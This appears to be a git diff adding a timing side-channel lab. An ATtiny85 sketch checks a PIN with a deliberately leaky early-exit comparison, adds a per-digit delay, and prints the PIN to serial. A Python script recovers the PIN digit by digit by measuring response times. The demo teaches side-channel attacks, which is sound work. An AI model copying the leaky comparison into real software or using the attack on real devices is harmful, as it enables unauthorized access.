b/SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg new file mode 100644 index 0000000..7db7b86 --- /dev/null +++ b/SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg Binary files differ diff --git a/SideChannel/ATtiny85_Timing_Attack/multi_digit.ino b/SideChannel/ATtiny85_Timing_Attack/multi_digit.ino new file mode 100644 index 0000000..9c3d205 --- /dev/null +++ b/SideChannel/ATtiny85_Timing_Attack/multi_digit.ino @@ -0,0 +1,125 @@ +#include <avr/sleep.h> +#include <avr/interrupt.h> +#include <SoftwareSerial.h> + +const int rx = 1; // for serial input +const int tx = 4; // pin 5 for serial.print() +SoftwareSerial Serial(rx, tx); // rx, tx pins + +int rgLed = 2; // red/green LED pin +int button = 3; // buttons pin +int buttonValue; // Stores analog value when button is pressed + +String ourCode = ""; // Set the required PIN code. +String currentCode = ""; // Stores entered code + +void generateRandomPin() { + + ourCode = ""; // ensure is empty + + // Use multiple entropy sources for the random seed + int pinSeed = analogRead(0) + analogRead(1); // Read from pin 0 and pin 1 for more randomness + unsigned long combinedSeed = pinSeed + random(100, 200); // Combine them all + randomSeed(combinedSeed); // Seed the random number generator with the combined value + + int pinLength = random(4, 9); // Random length between 4 and 8 + for (int i = 0; i < pinLength; i++) { + ourCode += String(random(1, 5)); // Random number between 1 and 4 (inclusive) + } + Serial.println("Generated PIN: " + ourCode); // Display the generated PIN for debugging +} + +void setup() { + pinMode(rgLed, INPUT); + pinMode(rx, INPUT); // setup and print to serial + pinMode(tx, OUTPUT); + Serial.begin(9600); + Serial.println("Running"); + delay(500); + generateRandomPin(); + red(500); + green(500); +} + +#pragma GCC push_options +#pragma GCC optimize ("O0") // Disable optimisations + +void addkey(String keyPressed) { + currentCode += keyPressed; + Serial.print("Added: "); + Serial.println(currentCode); + + if (currentCode.length() == ourCode.length()) { + Serial.print("Checking: "); + volatile bool correct = true; + + for (int i = 0; i < ourCode.length(); i++) { + if (currentCode[i] != ourCode[i]) { + correct = false; + break; + } + + do_login(); + } + + if (correct) { + Serial.println("correct"); + green(500); + delay(500); + green(500); + delay(500); + green(500); + } else { + Serial.println("failed"); + red(500); + } + currentCode = ""; // Reset the entered code + } +} + +#pragma GCC pop_options + +void green(int del) { // turn on green LED for delay() + pinMode(rgLed, OUTPUT); + analogWrite(rgLed, HIGH); + delay(del); + pinMode(rgLed, INPUT); +} + +void red(int del) { // turn on red LED for delay() + pinMode(rgLed, OUTPUT); + analogWrite(rgLed, 255); + delay(del); + pinMode(rgLed, INPUT); +} + +void do_login(){ + delay(10); +} + +void loop() { + buttonValue = analogRead(button); // Read analog value from A0 pin + if (buttonValue > 100){ + Serial.println("Button analog value: " + String(buttonValue)); // Print button value + } + + if (buttonValue >= 1011 && buttonValue <= 1030) { // For 1st button: + addkey("1"); + } else if (buttonValue >= 1000 && buttonValue <= 1010) { // For 2nd button: + addkey("2"); + } else if (buttonValue >= 950 && buttonValue <= 999) { // For 3rd button: + addkey("3"); + } else if (buttonValue >= 870 && buttonValue <= 950) { // For 4th button: + addkey("4"); + } + + if (Serial.available()) { // Check if data is available from Serial input + delay(10); + char key = Serial.read(); // Read the character + if (key >= '1' && key <= '4') { // Ensure input is a valid key + addkey(String(key)); + } + } + + delay(100); +} diff --git a/SideChannel/ATtiny85_Timing_Attack/multi_digit_attack.py b/SideChannel/ATtiny85_Timing_Attack/multi_digit_attack.py new file mode 100644 index 0000000..5c8e550 --- /dev/null +++ b/SideChannel/ATtiny85_Timing_Attack/multi_digit_attack.py @@ -0,0 +1,138 @@ +import serial +import time +import argparse + +# Constants +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 +PREFIX = "" +ATTEMPTS = 3 +DELAY = 0.8 +KEYSPACE = ["1", "2", "3", "4"] +BYTE_SIZE = 10 # 8 data bits + 1 start bit + 1 stop bit + +def get_response_time(serial_port, message): + """ + Function to send message, wait for response, and measure response time. + """ + serial_port.flushInput() + first_line_received = False + + for i, char in enumerate(message): + time.sleep(DELAY) + serial_port.write(char.encode()) + if i < len(message)-1: + raw_response = serial_port.readline() + + raw_response = b'' + while True: + byte = serial_port.read(1) + if byte: + if byte == b'\n' and not first_line_received: + first_line_received = True + elif first_line_received: + start_time = time.time() + break + + final_response = serial_port.readline().decode(errors='ignore').strip() + response_time = time.time() - start_time + + print(f"\rSent: {message}, Response: {final_response}, Response Time: {response_time:.4f} seconds", end='', flush=True) + time.sleep(DELAY) + return final_response, response_time + +def calculate_average_response_time(serial_port, message): + """ + Calculate average response time over multiple attempts. + """ + total_time = 0 + response_times = [] + for _ in range(ATTEMPTS): + response, response_time = get_response_time(serial_port, message) + total_time += response_time + response_times.append(response_time) + + average_time = total_time / ATTEMPTS + print(f"\r{message} average: {average_time:.4f} seconds - ", flush=True) + return average_time, response_times + +def identify_sequence(serial_port, length): + """ + Identify the complete sequence of characters by sending test sequences. + """ + prefix = "" + for pos in range(length): + slowest_avg = float('-inf') + best_digit = None + + for key in KEYSPACE: + message = prefix + key + key * (length - len(prefix) - 1) + print(f"Testing: {message}", end='', flush=True) + avg_time, _ = calculate_average_response_time(serial_port, message) + if avg_time > slowest_avg: + slowest_avg = avg_time + best_digit = key + + prefix += best_digit + print(f"Best digit for position {pos + 1}: {best_digit} (Average response time: {slowest_avg:.4f} seconds)") + + return prefix + +def estimate_serial_time(message_length): + """ + Estimate time taken for serial communication based on baud rate. + """ + bits_per_second = BAUD_RATE + chars_per_second = bits_per_second / BYTE_SIZE + time_per_char = 1 / chars_per_second + return message_length * time_per_char + +def main(): + parser = argparse.ArgumentParser(description="PIN length argument") + parser.add_argument("length", type=int, help="Length of the PIN to test") + args = parser.parse_args() + length = args.length + + max_attempts = len(KEYSPACE) * length * ATTEMPTS + serial_time = estimate_serial_time(length * len(KEYSPACE)) + estimated_time = max_attempts * (DELAY + DELAY + serial_time + 0.05) # Adjusted for serial delay and print time + + print(f"########################################################") + print(f"# Attempts: {ATTEMPTS} - Delay: {DELAY} ") + print(f"# Maximum possible attempts: {max_attempts} ") + print(f"# Estimated maximum time: {estimated_time:.2f} seconds ") + print(f"########################################################") + + start_time = time.time() # Record the start time + start_timestamp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(start_time)) + print(f"Started at {start_timestamp}") + + + with serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) as serial_port: + print(f"Starting sequence identification on port {SERIAL_PORT} with PIN length {length}...") + sequence = identify_sequence(serial_port, length) + print(f"########################################################") + print(f"# Identified sequence: {sequence}") + print(f"########################################################") + + end_time = time.time() # Record the end time + end_timestamp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(end_time)) + elapsed_time = end_time - start_time # Calculate total time taken + + # Convert elapsed time to appropriate format + if elapsed_time > 3600: # More than 1 hour + hours = int(elapsed_time // 3600) + minutes = int((elapsed_time % 3600) // 60) + time_str = f"{hours}h {minutes}m" + elif elapsed_time > 60: # More than 1 minute + minutes = int(elapsed_time // 60) + seconds = int(elapsed_time % 60) + time_str = f"{minutes}m {seconds}s" + else: + time_str = f"{elapsed_time:.2f} seconds" + + print(f"\nFinished at {end_timestamp}") + print(f"Total execution time: {time_str}") + +if __name__ == '__main__': + main()